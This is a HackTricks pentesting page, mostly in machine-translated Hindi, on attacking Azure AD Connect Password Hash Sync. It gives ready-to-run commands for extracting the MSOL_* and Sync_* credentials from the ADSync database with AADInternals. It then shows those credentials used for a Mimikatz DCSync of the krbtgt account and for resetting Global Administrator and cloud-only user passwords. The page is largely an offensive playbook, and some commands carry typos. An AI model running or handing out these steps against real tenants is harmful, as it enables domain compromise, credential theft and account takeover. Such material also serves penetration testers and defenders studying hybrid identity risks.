Az - PHS - Password Hash Sync

Support HackTricks

Basic Information

From the docs: पासवर्ड हैश समन्वयन हाइब्रिड पहचान को पूरा करने के लिए उपयोग किए जाने वाले साइन-इन तरीकों में से एक है। Azure AD Connect एक ऑन-प्रिमाइसेस सक्रिय निर्देशिका उदाहरण से एक उपयोगकर्ता के पासवर्ड का हैश, हैश का हैश, एक क्लाउड-आधारित Azure AD उदाहरण में समन्वयित करता है।

यह कंपनियों द्वारा उपयोग किया जाने वाला सबसे सामान्य तरीका है ताकि ऑन-प्रिम AD को Azure AD के साथ समन्वयित किया जा सके।

सभी उपयोगकर्ता और पासवर्ड हैश का हैश ऑन-प्रिम से Azure AD में समन्वयित होते हैं। हालाँकि, स्पष्ट-टेक्स्ट पासवर्ड या मूल हैश Azure AD में नहीं भेजे जाते। इसके अलावा, निर्मित सुरक्षा समूह (जैसे डोमेन प्रशासक...) Azure AD में समन्वयित नहीं होते

हैश समन्वयन हर 2 मिनट में होता है। हालाँकि, डिफ़ॉल्ट रूप से, पासवर्ड समाप्ति और खाता समाप्ति Azure AD में समन्वयित नहीं होते। इसलिए, एक उपयोगकर्ता जिसका ऑन-प्रिम पासवर्ड समाप्त हो गया है (बदला नहीं गया) वह पुराने पासवर्ड का उपयोग करके Azure संसाधनों तक पहुँच जारी रख सकता है।

जब एक ऑन-प्रिम उपयोगकर्ता Azure संसाधन तक पहुँच प्राप्त करना चाहता है, तो प्रमाणीकरण Azure AD पर होता है

PHS की आवश्यकता होती है जैसे पहचान सुरक्षा और AAD डोमेन सेवाओं के लिए।

Pivoting

जब PHS कॉन्फ़िगर किया जाता है, तो कुछ विशिष्ट खाते स्वचालित रूप से बनाए जाते हैं:

  • खाता MSOL_<installationID> स्वचालित रूप से ऑन-प्रिम AD में बनाया जाता है। इस खाते को डायरेक्टरी समन्वयन खातों की भूमिका दी जाती है (देखें दस्तावेज़) जिसका अर्थ है कि इसके पास ऑन-प्रिम AD में पुनरुत्पादन (DCSync) अनुमतियाँ हैं

  • एक खाता Sync_<name of on-prem ADConnect Server>_installationID Azure AD में बनाया जाता है। इस खाते को Azure AD में किसी भी उपयोगकर्ता (समन्वयित या केवल क्लाउड) का पासवर्ड रीसेट करने की अनुमति है।

पिछले दो विशेष खातों के पासवर्ड SQL सर्वर में संग्रहीत होते हैं जहाँ Azure AD Connect स्थापित है। व्यवस्थापक स्पष्ट-टेक्स्ट में उन विशेष उपयोगकर्ताओं के पासवर्ड निकाल सकते हैं। डेटाबेस C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf में स्थित है।

एक टेबल में से कॉन्फ़िगरेशन निकालना संभव है, जिसमें से एक एन्क्रिप्टेड है:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

एन्क्रिप्टेड कॉन्फ़िगरेशन DPAPI के साथ एन्क्रिप्ट किया गया है और इसमें MSOL_* उपयोगकर्ता के पासवर्ड ऑन-प्रिम AD में और Sync_* का पासवर्ड AzureAD में शामिल है। इसलिए, इनका समझौता करने से AD और AzureAD में प्रिवेस्क करने की संभावना है।

आप इस टॉक में देख सकते हैं कि ये क्रेडेंशियल्स कैसे संग्रहीत और डिक्रिप्ट किए जाते हैं यहाँ

Finding the Azure AD connect server

यदि सर्वर जहाँ Azure AD connect स्थापित है डोमेन से जुड़ा हुआ है (दस्तावेज़ में अनुशंसित), तो इसे निम्नलिखित के साथ खोजा जा सकता है:

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

MSOL_* का दुरुपयोग

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

आप adconnectdump का उपयोग करके इन क्रेडेंशियल्स को प्राप्त कर सकते हैं।

Sync_* का दुरुपयोग

Sync_* खाते से समझौता करने पर किसी भी उपयोगकर्ता (जिसमें Global Administrators भी शामिल हैं) का पासवर्ड रीसेट करना संभव है।

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

यह भी संभव है कि केवल क्लाउड उपयोगकर्ताओं के पासवर्ड को संशोधित किया जाए (भले ही यह अप्रत्याशित हो)।

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

यह उपयोगकर्ता का पासवर्ड डंप करना भी संभव है।

एक और विकल्प होगा एक सेवा प्रमुख को विशेषाधिकार प्राप्त अनुमतियाँ सौंपना, जिसे Sync उपयोगकर्ता अनुमतियाँ देने के लिए अधिकार रखता है, और फिर उस सेवा प्रमुख तक पहुँच प्राप्त करना एक तरीके के रूप में प्रिवेस्क के लिए।

Seamless SSO

PHS के साथ Seamless SSO का उपयोग करना संभव है, जो अन्य दुरुपयोगों के प्रति संवेदनशील है। इसे चेक करें:

संदर्भ

HackTricks का समर्थन करें

Last updated